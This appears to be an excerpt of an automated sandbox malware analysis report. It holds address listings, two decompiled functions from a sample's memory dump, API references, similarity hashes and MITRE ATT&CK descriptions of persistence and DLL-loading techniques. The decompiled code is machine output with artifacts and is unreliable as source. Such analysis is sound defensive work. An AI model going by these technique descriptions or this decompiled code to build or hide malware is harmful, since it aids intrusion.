0x34cf4852
0x34cf485b
0x34cf4863
0x34cf4865
0x34cf486b
0x34cf486b
0x34cf486e
0x34cf4871
0x34cf4892
0x34cf4895
0x34cf4873
0x34cf487b
0x34cf4881
0x34cf4881
0x34cf4898
0x34cf489e
0x34cb7a70
0x34cb7a72
0x34cb7a7c
0x34cf48ac
0x34cf48b6
0x34cf48c2
0x34cf48c2

APIs

RtlDebugPrintTimes.NTDLL ref: 34CB7A72
BaseThreadInitThunk.KERNEL32 ref: 34CB7A7C
RtlDebugPrintTimes.NTDLL ref: 34CF47F8
RtlDebugPrintTimes.NTDLL ref: 34CF487B

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID: DebugPrintTimes$BaseInitThreadThunk
String ID:
API String ID: 4281723722-0
Opcode ID: e265c4d33370e4d091a23dafc5f805e5c491dbf0396c9b39e48a0eff2ad0ad79
Instruction ID: 414db1ef231b8e8fdb51345b81dd15833ab1fbd1f9251e756c4bc9c821409d33
Opcode Fuzzy Hash: e265c4d33370e4d091a23dafc5f805e5c491dbf0396c9b39e48a0eff2ad0ad79
Instruction Fuzzy Hash: 07312075E00618DFEB44DFA8D894A9EBBF2EB48320F10416AE911F72A0DB355901CF58

Uniqueness

Uniqueness Score: -1.00%

Function 34C858E0 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 494
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E34C858E0(signed int __ebx, void* __edi, signed int __esi, void* __eflags, signed int _a4) {
				void* _v8;
				signed int _v12;
				char _v20;
				intOrPtr _v28;
				signed int _v32;
				char _v44;
				signed int _v48;
				signed int _v52;
				char _v56;
				signed int _v60;
				signed int _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				signed int _v84;
				char _v96;
				intOrPtr _v144;
				signed int _v160;
				signed int _v164;
				intOrPtr _v168;
				signed char _v176;
				intOrPtr _v180;
				char _v216;
				intOrPtr _v220;
				signed int _v228;
				intOrPtr* _v240;
				char _v244;
				char _v245;
				char _v246;
				char _v247;
				char _v248;
				char _v249;
				char _v250;
				char _v251;
				char _v252;
				char _v253;
				signed int _v260;
				char _v261;
				signed int _v268;
				signed int _v272;
				signed int _v276;
				signed int _v280;
				signed int _v288;
				signed int _v292;
				char _v300;
				void* _v304;
				signed int _v308;
				char _v312;
				signed int _v316;
				signed int _v320;
				signed int _v324;
				signed int _v328;
				char _v352;
				signed int* _v356;
				signed int _v360;
				signed int _v364;
				signed int _v380;
				intOrPtr _v388;
				signed int _v392;
				intOrPtr _v396;
				signed int _v400;
				signed int _v404;
				signed int _v408;
				signed int _t235;
				signed int _t236;
				intOrPtr* _t242;
				intOrPtr _t250;
				char _t253;
				char _t254;
				intOrPtr _t257;
				signed int _t261;
				intOrPtr _t262;
				char _t268;
				void* _t273;
				signed int* _t282;
				intOrPtr _t288;
				signed int* _t292;
				signed int _t293;
				signed int _t297;
				char _t298;
				intOrPtr _t309;
				signed int _t316;
				char _t317;
				signed int _t322;
				signed int _t323;
				char _t332;
				intOrPtr _t339;
				intOrPtr _t340;
				intOrPtr* _t342;
				signed int _t343;
				signed int _t356;
				signed int _t359;
				signed int _t360;
				signed int _t361;
				signed int _t366;
				intOrPtr* _t368;
				char* _t375;
				signed int _t377;
				signed int _t380;
				intOrPtr* _t384;
				signed int _t387;
				intOrPtr _t388;
				void* _t389;
				void* _t390;

				_t390 = __eflags;
				_t379 = __esi;
				_t341 = __ebx;
				_push(0xfffffffe);
				_push(0x34d5bd28);
				_push(E34CCAD20);
				_push( *[fs:0x0]);
				_t388 = _t387 - 0x184;
				_t235 =  *0x34d7b370;
				_v12 = _v12 ^ _t235;
				_t236 = _t235 ^ _t387;
				_v32 = _t236;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_push(_t236);
				 *[fs:0x0] =  &_v20;
				_v28 = _t388;
				_t377 = _a4;
				_v312 = 0;
				_v260 = _t377;
				_v250 = 0;
				_v251 = 0;
				_v247 = 0;
				_v246 = 0;
				_v252 = 0;
				_v245 = 0;
				_v248 = 0;
				_v253 = 0;
				_v304 = 0;
				_v268 = 0;
				E34C88120();
				_v292 =  *[fs:0x30];
				_v8 = 0;
				E34C880BE(__ebx,  &_v312, _t377, __esi, _t390);
				_t347 =  &_v304;
				E34C88009( &_v304);
				_t242 = _v304;
				if(_t242 != 0) {
					_t347 =  &_v244;
					 *_t242 =  &_v244;
				}
				E34CC8F40( &_v244, 0, "true");
				_t389 = _t388 + 0xc;
				_v8 = 1;
				_v8 = 2;
				L34C853C0(_t377 + 0xe0);
				_v8 = 3;
				if( *((char*)(_t377 + 0xe5)) != 0) {
					_v276 = 0xc000010a;
					L73:
					_v246 = 1;
					_v247 = 1;
					L5:
					_v8 = 2;
					E34C86055(_t377);
					_t394 = _v247;
					if(_v247 != 0) {
						L67:
						_v8 = 1;
						E34C86074(_t341, _t347, _t377, _t379);
						_v8 = 0;
						E34C86179(_t379);
						_t379 = 0;
						__eflags = 0;
						_v276 = 0;
						_v8 = 0xfffffffe;
						_t250 = E34CBB490(_t347, _t371, 0);
						L68:
						_v300 = 0;
						L12:
						if((_v84 & 0x00000001) != 0) {
							L34C93BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v96);
							_v84 = _v84 & 0xfffffffe;
							_t250 = _v276;
						}
						if(_t250 != 0) {
							_t253 = _t250 - 0x80;
							__eflags = _t253;
							if(_t253 == 0) {
								goto L67;
							}
							_t254 = _t253 - 0x40;
							__eflags = _t254;
							if(_t254 == 0) {
								_v8 = 6;
								_t347 = 0;
								E34C863CB(0);
								_v8 = 2;
								goto L8;
							}
							__eflags = _t254 != 0x42;
							if(_t254 != 0x42) {
								goto L8;
							}
							_v253 = 1;
							goto L67;
						} else {
							if(_t377 != 0) {
								_t268 =  *((intOrPtr*)(_t377 + 0x110));
								__eflags = _t268;
								if(_t268 != 0) {
									L16:
									if( *((intOrPtr*)(_t377 + 0x100)) != _t268) {
										_t379 = _t377 + 0x2c;
										L34C92330(_t268, _t377 + 0x2c);
										E34D54407(_t377);
										E34C924D0(_t377 + 0x2c);
									}
									_t371 = _v288;
									_t347 =  &_v244;
									_t273 = E34C864F0(_t341,  &_v244, _v288, _t377, _v300, _v280, _t377,  &_v245);
									if(_t273 != 0) {
										goto L67;
									} else {
										if(_v245 != _t273) {
											L8:
											_v268 = 0;
											_v64 = 0;
											_v60 = 0;
											_v56 = 0;
											_v52 = 0;
											_t341 = _v48;
											_v280 = 0x10;
											if(_t341 == 0) {
												_t257 =  *0x34d76644; // 0x0
												_v392 = _t257 + 0x300000;
												_t261 = E34C95D90(_t347,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t257 + 0x00300000 | 0x00000008, 0x1cc);
												__eflags = _t261;
												if(_t261 == 0) {
													L75:
													_v280 = 1;
													_t261 =  &_v64;
													L11:
													_v288 = _t261;
													_v300 = 0;
													_v8 = 5;
													_t262 =  *((intOrPtr*)(_t377 + 0x24));
													_v396 = _t262;
													_push( &_v96);
													_t347 =  &_v300;
													_push( &_v300);
													_push(_v280);
													_push(_v288);
													_push(_t262);
													_t250 = E34CC46E0();
													_v276 = _t250;
													_v8 = 2;
													if(_t250 != 0) {
														goto L68;
													}
													goto L12;
												}
												_t181 = _t261 + 0x1c0; // 0x1c0
												_t366 = _t181;
												 *_t366 = _t261;
												 *((intOrPtr*)(_t366 + 4)) = 1;
												 *((intOrPtr*)(_t366 + 8)) = 0x10;
												_v48 = _t366;
												_v280 = 0x10;
												goto L11;
											}
											if( *((intOrPtr*)(_t341 + 4)) != 1) {
												goto L75;
											}
											_t379 = _v48;
											E34CC8F40( *_t379, 0,  *(_t379 + 8) * 8 -  *(_t379 + 8) << 2);
											_t389 = _t389 + 0xc;
											_v280 =  *(_t379 + 8);
											_t261 =  *_t341;
											goto L11;
										}
										_t379 = _v64;
										if(_t379 != 0) {
											_v400 = _t379;
											_v168 =  *((intOrPtr*)(_t379 + 0x20));
											_v164 = _t379;
											_t372 =  &_v244;
											E34C86D91(_t377,  &_v244,  *((intOrPtr*)(_t379 + 0x24)),  *(_t379 + 0x28) & 0x000000ff);
											E34C86D60( &_v216);
											_v8 = 7;
											_t342 =  *((intOrPtr*)(_t379 + 0x20));
											_push( &_v56);
											_push(_v60);
											_push(_t379);
											_push( &_v216);
											__eflags = _t342 - E34C86E00;
											if(_t342 == E34C86E00) {
												E34C86E00( &_v216);
												L33:
												_v8 = 2;
												L34:
												if((_v176 & 0x00000004) != 0) {
													_v248 = 1;
												}
												_v261 = _v180 == 4;
												_v8 = 9;
												E34C861C3( &_v216, _t372);
												_v8 = 2;
												_v228 = 0;
												if(_v248 != 0) {
													_t282 = _t377 + 8;
													_v308 = _t282;
													_t343 =  *_t282;
													_t356 = _t282[1];
													_v328 = _t343;
													_v324 = _t356;
													goto L86;
													do {
														do {
															L86:
															_t380 = _t343;
															_v272 = _t380;
															_t371 = _t356;
															_v380 = _t371;
															_v328 = (_t380 + 0x00000001 ^ _t380) & 0x0000ffff ^ _t380;
															_t379 = _v308;
															asm("lock cmpxchg8b [esi]");
															_t343 = _t380;
															_v328 = _t343;
															_t356 = _t371;
															_v324 = _t356;
															__eflags = _t343 - _v272;
														} while (_t343 != _v272);
														__eflags = _t356 - _v380;
													} while (_t356 != _v380);
													_v352 = 3;
													_push("true");
													_push( &_v352);
													_push(9);
													_push( *((intOrPtr*)(_t377 + 0x24)));
													E34CC43A0();
												} else {
													_t288 =  *((intOrPtr*)(_t377 + 0x110));
													if(_t288 == 0) {
														_t288 =  *0x7ffe03c0;
													}
													if( *((intOrPtr*)(_t377 + 0x100)) != _t288) {
														L34C92330(_t288, _t377 + 0x2c);
														E34D54407(_t377);
														E34C924D0(_t377 + 0x2c);
													}
													_t292 = _t377 + 8;
													_v356 = _t292;
													_t379 =  *_t292;
													_t347 = _t292[1];
													_v320 = _t379;
													_v316 = _t347;
													while(1) {
														_t341 = _t379;
														_v360 = _t341;
														_t371 = _t347;
														_v364 = _t371;
														_t293 = _t341 & 0x0000ffff;
														_v308 = _t293;
														if( *((char*)(_t377 + 0xe4)) != 0) {
															goto L67;
														}
														if(_t371 != 0) {
															__eflags = _t293;
															if(_t293 < 0) {
																__eflags = _v261;
																if(_v261 == 0) {
																	goto L41;
																}
															}
															_v249 = 0;
															_v316 = _t371 - 1;
															L42:
															_t297 = _t341;
															_t341 = _t379;
															asm("lock cmpxchg8b [esi]");
															_t379 = _t297;
															_v320 = _t379;
															_t347 = _t371;
															_v316 = _t347;
															if(_t379 != _v360 || _t347 != _v364) {
																continue;
															} else {
																_t298 = _v249;
																_v245 = _t298;
																if(_t298 != 0) {
																	goto L8;
																}
																goto L20;
															}
														}
														L41:
														_v249 = 1;
														_t379 = (_v308 + 0x00000001 ^ _t341) & 0x0000ffff ^ _t341;
														_v320 = _t379;
														goto L42;
													}
												}
												goto L67;
											}
											__eflags = _t342 - E34C87290;
											if(_t342 != E34C87290) {
												__eflags = _t342 - E34C85570;
												if(_t342 != E34C85570) {
													 *0x34d791e0();
													 *_t342();
													_v8 = 2;
													goto L34;
												}
												E34C85570( &_v216);
												goto L33;
											}
											E34C87290();
											goto L33;
										}
										L20:
										_push( &_v272);
										_t371 =  &_v244;
										_t347 = _t377;
										if(E34C86970(_t377,  &_v244) == 0) {
											goto L67;
										}
										if((_v84 & 0x00000001) != 0) {
											E34C7BE18( &_v216);
											_v84 = _v84 & 0xfffffffe;
										}
										_t359 = _v272;
										_v228 = _t359;
										_v168 =  *((intOrPtr*)( *_t359));
										_v164 = _t359;
										_v144 = _v220;
										_t360 =  *[fs:0x18];
										_v80 =  *((intOrPtr*)(_t360 + 0xf50));
										_v76 =  *((intOrPtr*)(_t360 + 0xf54));
										_v72 =  *((intOrPtr*)(_t360 + 0xf58));
										_v68 =  *((intOrPtr*)(_t360 + 0xf5c));
										_t309 = _v220;
										if(_t309 != 0 && ( *(_t309 + 0x10c) & 0x00000001) == 0) {
											_t372 = _v160 | 0x00000008;
											_v160 = _t372;
											_t316 =  *[fs:0x18];
											_v408 = _t316;
											if( *((intOrPtr*)(_t316 + 0xf9c)) != 0) {
												_t317 = 1;
											} else {
												_t317 = 0;
											}
											if(_t317 != 0) {
												_t372 = _t372 | 0x00000004;
												_v160 = _t372;
											}
											if(E34C86929() != 0) {
												_v160 = _t372;
											}
											if( *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xa0)) + 0xc)) ==  *((intOrPtr*)( *[fs:0x18] + 0x24))) {
												_v160 = _v160 | 0x00000020;
											}
											_t322 =  *[fs:0x18];
											_v404 = _t322;
											if( *((intOrPtr*)(_t322 + 0xfb8)) != 0) {
												_v160 = _v160 | 0x00000040;
											}
											_t323 =  *[fs:0x18];
											_v380 = _t323;
											if( *((intOrPtr*)(_t323 + 0xf88)) != 0) {
												_v160 = _v160 | 0x00000080;
											}
										}
										_v8 = 8;
										_t361 = _v272;
										_t384 =  *((intOrPtr*)( *_t361));
										_push(_t361);
										_push( &_v216);
										if(_t384 != L34C86B70) {
											__eflags = _t384 - E34C856E0;
											if(_t384 != E34C856E0) {
												 *0x34d791e0();
												 *_t384();
											} else {
												E34C856E0(_t361);
											}
										} else {
											L34C86B70();
										}
										goto L33;
									}
								}
							}
							_t268 =  *0x7ffe03c0;
							goto L16;
						}
					}
					E34C87F98(_t341, _t377,  &_v244, _t377, _t379, _t394);
					_v252 = 1;
					_t379 = _v292;
					L34C92330(_t379 + 0x250, _t379 + 0x250);
					_v8 = 4;
					_t332 = _t379 + 0x254;
					_t368 =  *((intOrPtr*)(_t332 + 4));
					if( *_t368 != _t332) {
						asm("int 0x29");
						__eflags = _v292 + 0x250;
						return E34C924D0(_v292 + 0x250);
					}
					_v244 = _t332;
					_v240 = _t368;
					_t375 =  &_v244;
					 *_t368 = _t375;
					 *((intOrPtr*)(_t332 + 4)) = _t375;
					_v251 = 1;
					_v8 = 2;
					L71();
					E34CC8F40( &_v216, 0, "true");
					_t389 = _t389 + 0xc;
					asm("lock inc dword [edi+0xf8]");
					_v250 = 1;
					_t371 =  &_v44;
					_t347 = _t377;
					E34C84A09(_t377,  &_v44, 0);
					goto L8;
				}
				_t339 =  *((intOrPtr*)(_t377 + 0x24));
				_v388 = _t339;
				_push(_t339);
				_t340 = E34CC29A0();
				_v276 = _t340;
				if(_t340 < 0) {
					goto L73;
				}
				asm("lock inc dword [edi]");
				_v246 = 1;
				goto L5;
			}

0x34c858e0
0x34c858e0
0x34c858e0
0x34c858e5
0x34c858e7
0x34c858ec
0x34c858f7
0x34c858f8
0x34c858fe
0x34c85903
0x34c85906
0x34c85908
0x34c8590b
0x34c8590c
0x34c8590d
0x34c8590e
0x34c85912
0x34c85918
0x34c8591b
0x34c8591e
0x34c85928
0x34c8592e
0x34c85935
0x34c8593c
0x34c85943
0x34c8594a
0x34c85951
0x34c85958
0x34c8595f
0x34c85966
0x34c85970
0x34c8597a
0x34c85985
0x34c8598b
0x34c85998
0x34c8599d
0x34c859a3
0x34c859a8
0x34c859b0
0x34c859b2
0x34c859b8
0x34c859b8
0x34c859c8
0x34c859cd
0x34c859d0
0x34c859d7
0x34c859e5
0x34c859ea
0x34c859f8
0x34ce0745
0x34ce074f
0x34ce074f
0x34ce0756
0x34c85a25
0x34c85a25
0x34c85a2c
0x34c85a31
0x34c85a38
0x34c85fef
0x34c85fef
0x34c85ff6
0x34c85ffb
0x34c86002
0x34c86007
0x34c86007
0x34c86009
0x34c8600f
0x34c86017
0x34c8601c
0x34c8601c
0x34c85b95
0x34c85b99
0x34c85f2d
0x34c85f32
0x34c85f36
0x34c85f36
0x34c85ba1
0x34c85fcf
0x34c85fcf
0x34c85fd4
0x00000000
0x00000000
0x34c85fd6
0x34c85fd6
0x34c85fd9
0x34ce07dc
0x34ce07e3
0x34ce07e5
0x34ce07ea
0x00000000
0x34ce07ea
0x34c85fdf
0x34c85fe2
0x00000000
0x00000000
0x34c85fe8
0x00000000
0x34c85ba7
0x34c85ba9
0x34c85e71
0x34c85e77
0x34c85e79
0x34c85bb4
0x34c85bba
0x34ce0836
0x34ce083a
0x34ce0841
0x34ce0847
0x34ce0847
0x34c85bd4
0x34c85bda
0x34c85be0
0x34c85be7
0x00000000
0x34c85bed
0x34c85bf3
0x34c85ae0
0x34c85ae0
0x34c85aec
0x34c85aef
0x34c85af2
0x34c85af5
0x34c85af8
0x34c85afb
0x34c85b07
0x34c85f69
0x34c85f73
0x34c85f8b
0x34c85f90
0x34c85f92
0x34ce077f
0x34ce077f
0x34ce0789
0x34c85b43
0x34c85b43
0x34c85b49
0x34c85b53
0x34c85b5a
0x34c85b5d
0x34c85b66
0x34c85b67
0x34c85b6d
0x34c85b6e
0x34c85b74
0x34c85b7a
0x34c85b7b
0x34c85b80
0x34c85b86
0x34c85b8f
0x00000000
0x00000000
0x00000000
0x34c85b8f
0x34c85f98
0x34c85f98
0x34c85f9e
0x34c85fa0
0x34c85fa7
0x34c85fae
0x34c85fb1
0x00000000
0x34c85fb1
0x34c85b13
0x00000000
0x00000000
0x34c85b19
0x34c85b30
0x34c85b35
0x34c85b3b
0x34c85b41
0x00000000
0x34c85b41
0x34c85bf9
0x34c85bfe
0x34c85e84
0x34c85e8d
0x34c85e93
0x34c85ea1
0x34c85ea9
0x34c85eb4
0x34c85eb9
0x34c85ec0
0x34c85ec6
0x34c85ec7
0x34c85ed0
0x34c85ed1
0x34c85ed2
0x34c85ed8
0x34c85f15
0x34c85d52
0x34c85d52
0x34c85d59
0x34c85d60
0x34ce0909
0x34ce0909
0x34c85d6d
0x34c85d74
0x34c85d81
0x34c85d86
0x34c85d8d
0x34c85d9e
0x34ce0955
0x34ce0958
0x34ce095e
0x34ce0960
0x34ce0963
0x34ce0969
0x34ce0969
0x34ce096f
0x34ce096f
0x34ce096f
0x34ce096f
0x34ce0971
0x34ce0977
0x34ce0979
0x34ce0989
0x34ce0992
0x34ce0998
0x34ce099c
0x34ce099e
0x34ce09a4
0x34ce09a6
0x34ce09ac
0x34ce09ac
0x34ce09b4
0x34ce09b4
0x34ce09bc
0x34ce09c6
0x34ce09ce
0x34ce09cf
0x34ce09d1
0x34ce09d4
0x34c85da4
0x34c85da4
0x34c85dac
0x34c85f0b
0x34c85f0b
0x34c85db8
0x34ce09e2
0x34ce09e9
0x34ce09ef
0x34ce09ef
0x34c85dbe
0x34c85dc1
0x34c85dc7
0x34c85dc9
0x34c85dcc
0x34c85dd2
0x34c85de0
0x34c85de0
0x34c85de2
0x34c85de8
0x34c85dea
0x34c85df0
0x34c85df3
0x34c85e00
0x00000000
0x00000000
0x34c85e08
0x34c85eec
0x34c85eef
0x34ce09f9
0x34ce0a00
0x00000000
0x00000000
0x34ce0a06
0x34c85ef7
0x34c85f00
0x34c85e29
0x34c85e29
0x34c85e2c
0x34c85e34
0x34c85e38
0x34c85e3a
0x34c85e40
0x34c85e42
0x34c85e4e
0x00000000
0x34c85e58
0x34c85e58
0x34c85e5e
0x34c85e66
0x00000000
0x00000000
0x00000000
0x34c85e6c
0x34c85e4e
0x34c85e0e
0x34c85e0e
0x34c85e21
0x34c85e23
0x00000000
0x34c85e23
0x34c85de0
0x00000000
0x34c85d9e
0x34c85eda
0x34c85ee0
0x34c85f53
0x34c85f59
0x34c8602d
0x34c86033
0x34c86035
0x00000000
0x34c86035
0x34c85f5f
0x00000000
0x34c85f5f
0x34c85ee2
0x00000000
0x34c85ee2
0x34c85c04
0x34c85c0a
0x34c85c0b
0x34c85c11
0x34c85c1a
0x00000000
0x00000000
0x34c85c24
0x34c86047
0x34c8604c
0x34c8604c
0x34c85c2a
0x34c85c30
0x34c85c3a
0x34c85c40
0x34c85c4c
0x34c85c52
0x34c85c5f
0x34c85c68
0x34c85c71
0x34c85c7a
0x34c85c7d
0x34c85c85
0x34c85c9e
0x34c85ca1
0x34c85ca7
0x34c85cad
0x34c85cba
0x34ce087c
0x34c85cc0
0x34c85cc0
0x34c85cc0
0x34c85cc4
0x34ce0886
0x34ce0889
0x34ce0889
0x34c85cd1
0x34ce0897
0x34ce0897
0x34c85cf0
0x34ce08a2
0x34ce08a2
0x34c85cf6
0x34c85cfc
0x34c85d09
0x34ce08ae
0x34ce08ae
0x34c85d0f
0x34c85d15
0x34c85d22
0x34ce08ba
0x34ce08ba
0x34c85d22
0x34c85d28
0x34c85d2f
0x34c85d37
0x34c85d39
0x34c85d40
0x34c85d47
0x34c85f41
0x34c85f47
0x34c85fc2
0x34c85fc8
0x34c85f49
0x34c85f49
0x34c85f49
0x34c85d4d
0x34c85d4d
0x34c85d4d
0x00000000
0x34c85d47
0x34c85be7
0x34c85e7f
0x34c85baf
0x00000000
0x34c85baf
0x34c85ba1
0x34c85a46
0x34c85a4b
0x34c85a52
0x34c85a5f
0x34c85a64
0x34c85a6b
0x34c85a71
0x34c85a76
0x34ce0772
0x34c86068
0x34c86073
0x34c86073
0x34c85a7c
0x34c85a82
0x34c85a88
0x34c85a8e
0x34c85a92
0x34c85a95
0x34c85a9c
0x34c85aa3
0x34c85ab6
0x34c85abb
0x34c85abe
0x34c85ac5
0x34c85ace
0x34c85ad1
0x34c85ad3
0x00000000
0x34c85ad3
0x34c859fe
0x34c85a01
0x34c85a07
0x34c85a08
0x34c85a0d
0x34c85a15
0x00000000
0x00000000
0x34c85a1b
0x34c85a1e
0x00000000

Strings

@, xrefs: 34CE08AE

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 20375cade86a5e76e9956214efa433b2e508e2ba44161768bbdac72918fe35da
Instruction ID: f55ca680e99af380038d362b0d3851282f41b7175b67262244783cba408bc318
Opcode Fuzzy Hash: 20375cade86a5e76e9956214efa433b2e508e2ba44161768bbdac72918fe35da
Instruction Fuzzy Hash: 0D326974E00369DFEB61CF65C984BD9BBB6BF08308F0440EAD449A7252DBB45A84CF91

Uniqueness

Uniqueness Score: -1.00%

Function 34C7DF21 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 109
timeCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E34C7DF21(void* __ecx, intOrPtr __edx, intOrPtr _a4) {
				signed int _v8;
				void* _v36;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				char _v60;
				char _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t48;
				intOrPtr _t49;
				intOrPtr _t50;
				intOrPtr* _t52;
				char _t56;
				void* _t69;
				char _t72;
				void* _t73;
				intOrPtr _t75;
				intOrPtr _t79;
				void* _t82;
				void* _t84;
				intOrPtr _t86;
				void* _t88;
				signed int _t90;
				signed int _t92;
				signed int _t93;

				_t80 = __edx;
				_t92 = (_t90 & 0xfffffff8) - 0x4c;
				_v8 =  *0x34d7b370 ^ _t92;
				_t72 = 0;
				_v72 = __edx;
				_t82 = __ecx;
				_t86 =  *((intOrPtr*)(__edx + 0xc8));
				_v68 = _t86;
				E34CC8F40( &_v60, 0, "true");
				_t48 =  *((intOrPtr*)(_t82 + 0x70));
				_t93 = _t92 + 0xc;
				_v76 = _t48;
				_t49 = _t48;
				if(_t49 == 0) {
					_push(5);
					 *((char*)(_t82 + 0x6a)) = 0;
					 *((intOrPtr*)(_t82 + 0x6c)) = 0;
					goto L3;
				} else {
					_t69 = _t49 - 1;
					if(_t69 != 0) {
						if(_t69 == 1) {
							_push(0xa);
							goto L3;
						} else {
							_t56 = 0;
						}
					} else {
						_push("true");
						L3:
						_pop(_t50);
						_v80 = _t50;
						if(_a4 == _t72 && _t86 != 0 && _t50 != 0xa &&  *((char*)(_t82 + 0x6b)) == 1) {
							L34C92330(_t50, _t86 + 0x1c);
							_t79 = _v72;
							 *((intOrPtr*)(_t79 + 0x20)) =  *((intOrPtr*)( *[fs:0x18] + 0x24));
							 *((intOrPtr*)(_t79 + 0x88)) =  *((intOrPtr*)(_t82 + 0x68));
							 *((intOrPtr*)(_t79 + 0x8c)) =  *((intOrPtr*)(_t82 + 0x6c));
							 *((intOrPtr*)(_t79 + 0x90)) = _v80;
							 *((intOrPtr*)(_t79 + 0x20)) = _t72;
							E34C924D0(_t86 + 0x1c);
						}
						_t75 = _v80;
						_t52 =  *((intOrPtr*)(_v72 + 0x20));
						_t80 =  *_t52;
						_v72 =  *((intOrPtr*)(_t52 + 4));
						_v52 =  *((intOrPtr*)(_t82 + 0x68));
						_v60 = 0x30;
						_v56 = _t75;
						_v48 =  *((intOrPtr*)(_t82 + 0x6c));
						asm("movsd");
						_v76 = _t80;
						_v64 = 0x30;
						asm("movsd");
						asm("movsd");
						asm("movsd");
						if(_t80 != 0) {
							 *0x34d791e0(_t75, _v72,  &_v64,  &_v60);
							_t72 = _v76();
						}
						_t56 = _t72;
					}
				}
				_pop(_t84);
				_pop(_t88);
				_pop(_t73);
				return L34CC4B50(_t56, _t73, _v8 ^ _t93, _t80, _t84, _t88);
			}

0x34c7df21
0x34c7df29
0x34c7df33
0x34c7df3b
0x34c7df40
0x34c7df44
0x34c7df46
0x34c7df52
0x34c7df56
0x34c7df5b
0x34c7df5e
0x34c7df61
0x34c7df65
0x34c7df67
0x34c7e058
0x34c7e05a
0x34c7e05d
0x00000000
0x34c7df6d
0x34c7df6d
0x34c7df70
0x34cdd6ea
0x34cdd6f3
0x00000000
0x34cdd6ec
0x34cdd6ec
0x34cdd6ec
0x34c7df76
0x34c7df76
0x34c7df78
0x34c7df78
0x34c7df79
0x34c7df80
0x34c7e019
0x34c7e024
0x34c7e02c
0x34c7e032
0x34c7e03b
0x34c7e045
0x34c7e04b
0x34c7e04e
0x34c7e04e
0x34c7df8d
0x34c7df91
0x34c7df94
0x34c7df99
0x34c7dfa0
0x34c7dfab
0x34c7dfb3
0x34c7dfb7
0x34c7dfbb
0x34c7dfbc
0x34c7dfc0
0x34c7dfc8
0x34c7dfc9
0x34c7dfca
0x34c7dfcd
0x34c7dfe0
0x34c7dfea
0x34c7dfea
0x34c7dfec
0x34c7dfec
0x34c7df70
0x34c7dff2
0x34c7dff3
0x34c7dff4
0x34c7dfff

APIs

RtlDebugPrintTimes.NTDLL ref: 34C7DFE0

Strings

0, xrefs: 34C7DFC0
0, xrefs: 34C7DFAB

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID: DebugPrintTimes
String ID: 0$0
API String ID: 3446177414-203156872
Opcode ID: 84f5e5e5cc12024de828189ed8bd3fc25fed19318a3a4fa039ecb6b40d261267
Instruction ID: cb1bead56b4f216f46915741678c8d552856a4a5df75bebedaa80b43c87a9367
Opcode Fuzzy Hash: 84f5e5e5cc12024de828189ed8bd3fc25fed19318a3a4fa039ecb6b40d261267
Instruction Fuzzy Hash: 27416DB56087029FD300CF29C454A5ABBEAFF89354F044A6EF588DB340D771EA45CB96

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like `CreateProcess` , `LoadLibrary` , etc. of the Win32 API.
Tactics:	Execution
Data Sources:	API monitoring, DLL monitoring, File monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

